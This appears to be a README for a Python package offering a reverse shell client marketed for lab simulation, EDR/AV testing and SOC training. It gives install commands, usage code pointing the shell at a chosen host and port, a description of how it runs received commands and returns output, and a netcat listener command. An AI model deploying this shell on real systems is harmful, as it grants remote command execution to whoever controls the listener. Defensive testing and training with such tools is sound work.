PythonharmlessReverseShell is a minimal Python implementation of a reverse shell client, intended strictly for educational, simulation, or defensive testing purposes. It is designed to help security professionals and developers understand how reverse shell behavior might look in controlled environments — without causing harm.
⚠️ Disclaimer: This code is non-malicious, has no persistence, and does not attempt privilege escalation or obfuscation. Use it only in authorized environments. Misuse can lead to legal or disciplinary consequences.
This package is useful for:
- Simulating reverse shell behavior in lab environments
- Testing EDR/AV responses
- Demonstrating potential risks of Python-based payloads
- Educating SOC teams and developers on threat detection
Install from PyPI:
pip install PythonHarmlessReverseShellOr clone the repository manually:
git clone https://github.com/khalidwalidalamri/PythonharmlessReverseShell.git
cd PythonharmlessReverseShellfrom PythonHarmlessReverseShell.main import reverse_shell_client, ReverseConfiguration
# Use default config (localhost:8089)
reverse_shell_client()
# Use custom config
config = ReverseConfiguration(host="192.168.1.100", port=9001)
reverse_shell_client(config)You can run the reverse shell client with default settings using:
reverse-shell-clientThis command connects to 127.0.0.1:8089 and starts listening for commands.
- Connects to a remote TCP server using the given host and port
- Waits for a command to be received
- Executes the command locally using
subprocess.getoutput - Sends the result/output back to the server
- Continues until receiving the command
exit
- This tool does not persist after execution
- It requires manual execution
- Useful for AV/EDR testing, not actual backdoor deployment
- Make sure you run this only in isolated and controlled systems
To test this, run the following on your listener machine:
nc -lvnp 8089Then run the Python script on the target system.
PythonharmlessReverseShell/
├── PythonHarmlessReverseShell/
│ └── main.py
├── README.md
├── LICENSE
└── ...
This project is provided strictly for educational and authorized testing purposes. Do not use this code in real-world attacks or against systems you do not own or have explicit permission to test.
MIT License — see LICENSE file for details.
Pull requests and suggestions are welcome for educational improvements or use-case extensions.
Created by Khalid Al-Amri for awareness and red team simulations.